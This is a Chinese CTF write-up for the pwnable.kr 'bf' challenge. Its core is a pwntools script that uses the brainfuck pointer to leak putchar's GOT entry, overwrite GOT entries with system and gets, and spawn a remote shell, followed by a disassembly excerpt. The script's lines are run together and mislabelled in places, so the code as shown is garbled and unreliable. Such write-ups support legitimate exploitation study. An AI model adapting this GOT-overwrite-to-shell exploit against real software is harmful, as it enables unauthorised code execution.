题目链接传送门
这里题目跟网鼎杯线下赛的一个pwn有些相似。
输入一些字符可以控制一个指针,可以向这个指针指向的地址处写数据。
首先要知道bss段里面有什么。
在这道题里面的p指针的更高地址处是stdin,stdout,stderr然后是函数的got表,这里可以控制指针p泄露和修改got表。
#coding=utf-8
from pwn import *p=0x0804a0a0
putchar=0x804a030
jmp=0x8048671debug=0
if debug: p=process("bf")elf=ELF("bf")libc=ELF("bf_libc.so")context.log_level="debug"
else:p=remote("pwnable.kr",9001)elf=ELF("bf")libc=ELF("bf_libc.so")context.log_level="debug"p.recvuntil("type some brainfuck instructions except [ ]\n")
payload="."
payload+="<"*(112-4)+"<."*4+"<"#leak putchar
payload+=">,"*4+"<"*36+">,"*4 #reset puts,fgets
payload+="<"*4+'>'*28+'>,'*4+'.' #reset memsetp.sendline(payload)
p.recv(1)#这里是为了调用put函数向got表中写入真实地址puts_addr=u32(p.recv(4)[::-1])
print "puts_addr="+hex(puts_addr)system_addr=libc.symbols["system"]+puts_addr-libc.symbols["putchar"]
p.send(p32(jmp))
print "system_addr="+hex(system_addr)
print hex(elf.got["putchar"])
gets_addr=libc.symbols["gets"]+puts_addr-libc.symbols["putchar"]
print "gets_addr="+hex(gets_addr)
p.send(p32(system_addr))
p.send(p32(gets_addr))p.recvuntil("type some brainfuck instructions except [ ]\n")
p.sendline("/bin/sh\x00")p.interactive()
需要注意的是这里的result = putchar(*(char *)p);
函数好像直接复写它的got表就行了,但实际上这里的p
是一个字符,并不是一个指针
.text:0804863A mov eax, ds:p ; jumptable 080485FC case 46
.text:0804863F movzx eax, byte ptr [eax]
.text:08048642 movsx eax, al
.text:08048645 mov [esp], eax ; c
.text:08048648 call _putchar
所以让程序回到开始出再运行一遍获取到shell。